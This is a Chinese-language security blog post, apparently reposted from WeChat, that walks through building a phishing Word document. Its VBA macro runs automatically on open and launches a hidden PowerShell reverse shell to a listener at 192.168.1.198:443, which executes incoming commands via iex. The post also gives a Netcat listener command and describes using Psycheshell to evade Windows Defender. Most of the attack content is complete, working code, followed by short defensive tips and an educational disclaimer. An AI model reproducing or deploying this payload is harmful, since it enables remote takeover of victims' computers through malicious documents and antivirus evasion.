使用 VBA 宏和 Psycheshell 创建隐蔽的反向 Shell 以逃避 Windows Defender

admin 2024年11月6日10:18:14评论4 views字数 2332阅读7分46秒阅读模式

在本文中,我们将探讨攻击者如何使用 VBA 宏制作反向 shell 来远程访问受害者的系统。我们将利用 Psycheshell,这是一种旨在绕过 Windows Defender 的自定义工具,使攻击更加隐蔽且更难检测。通过 Microsoft Office 文档自动执行恶意代码,该技术展示了当今网络钓鱼活动中使用的不断发展的策略。

使用 VBA 宏创建反向 Shell

1. 在 Microsoft Word 中设置 VBA 宏

第一步涉及在 Microsoft Word 文档中嵌入 VBA 宏。这是我所做的:

  • 在 Word 中,我导航到“开发人员”>“宏”>“Visual Basic”以打开 VBA 编辑器。
  • 我插入了以下 VBA 代码,该代码启动了一个隐藏的 PowerShell 脚本:
Sub test()
    ' test Macro
    Dim objshell As Object
    Set objshell = CreateObject("Wscript.Shell")
    objshell.Run "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command ""$command = {while($true){try {$cl = New-Object System.Net.Sockets.TcpClient('192.168.1.198',443);$st = $cl.GetStream();$rd = New-Object IO.StreamReader($st);$wr = New-Object IO.StreamWriter($st);$wr.AutoFlush = $true;while($cl.Connected){$cmd = $rd.ReadLine();if($cmd -eq 'exit'){break;}try{$res = iex $cmd 2>&1 | Out-String;}catch{$res = $_.Exception.Message;} $wr.WriteLine($res);$wr.Flush();}$cl.Close();}catch{Start-Sleep -Seconds 10;}}}; Start-Process powershell -WindowStyle Hidden -ArgumentList '-NoProfile', '-ExecutionPolicy', 'Bypass', '-Command', $command"""
    Set objshell = Nothing
End Sub
使用 VBA 宏和 Psycheshell 创建隐蔽的反向 Shell 以逃避 Windows Defender使用 VBA 宏和 Psycheshell 创建隐蔽的反向 Shell 以逃避 Windows Defender
  • 此代码初始化一个反向 shell,该 shell 连接回攻击者的侦听器。
  • 为了使宏自动执行,我在该部分添加了以下代码:ThisDocument
Sub AutoOpen()
    Call test
End Sub
使用 VBA 宏和 Psycheshell 创建隐蔽的反向 Shell 以逃避 Windows Defender使用 VBA 宏和 Psycheshell 创建隐蔽的反向 Shell 以逃避 Windows Defender
  • 该函数可确保宏在打开文档后立即运行,这通常在网络钓鱼攻击中被利用。AutoOpen

2. 设置 Psycheshell 并生成有效负载

接下来,我使用 Psycheshell 生成一个经过混淆处理的 PowerShell 负载。该工具为我提供了各种选项来自定义有效负载:

  • 我选择了 Windows 作为目标。
  • 我选择 PowerShell 作为 shell 类型。
  • 我输入了侦听器 IP 地址 () 和端口 ()。192.168.1.198443
  • 我选择不对有效负载进行编码或暂存,以便更快地执行。

根据这些设置,Psycheshell 生成了以下混淆有效负载(如屏幕截图所示):

$command = {while($true){try {$cl = New-Object System.Net.Sockets.TcpClient('192.168.1.198', 443);$st = $cl.GetStream();$rd = New-Object IO.StreamReader($st);$wr = New-Object IO.StreamWriter($st);$wr.AutoFlush = $true;while($cl.Connected){$cmd = $rd.ReadLine();if($cmd -eq 'exit'){break;}try{$res = iex $cmd 2>&1 | Out-String;}catch{$res = $_.Exception.Message;} $wr.WriteLine($res);$wr.Flush();}$cl.Close();}catch{Start-Sleep -Seconds 10;}}; Start-Process powershell -WindowStyle Hidden -ArgumentList '-NoProfile', '-ExecutionPolicy', 'Bypass', '-Command', $command

3. 启动侦听器并测试连接

在攻击者方面,我使用 Netcat 来侦听来自目标系统的传入连接:

nc -lvnp 443

宏在目标系统上执行后,它会建立与侦听器的连接,从而为我提供远程命令执行功能。如屏幕截图所示,我能够查看目标的 Desktop 目录的内容。

使用 VBA 宏和 Psycheshell 创建隐蔽的反向 Shell 以逃避 Windows Defender使用 VBA 宏和 Psycheshell 创建隐蔽的反向 Shell 以逃避 Windows Defender

结论

此技术演示了如何使用宏来提供反向 shell,尤其是在将恶意文档发送给毫无戒心的用户的网络钓鱼活动中。将其与 Psycheshell 等工具相结合,攻击者可以绕过常见的防病毒防御措施,使其成为严重威胁。

安全建议:

  • 在 Office 应用程序中禁用宏。
  • 使用终端节点检测和响应 (EDR) 解决方案来检测和响应此类活动。
  • 定期审核日志中的可疑连接。

最后说明:

本文旨在教育和提高对潜在网络钓鱼威胁的认识。此处讨论的技术仅用于防御和道德黑客目的,不应用于未经授权的活动。

 

原文始发于微信公众号(安全狗的自我修养):使用 VBA 宏和 Psycheshell 创建隐蔽的反向 Shell 以逃避 Windows Defender

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月6日10:18:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用 VBA 宏和 Psycheshell 创建隐蔽的反向 Shell 以逃避 Windows Defenderhttp://cn-sec.com/archives/3361788.html

发表评论

匿名网友 填写信息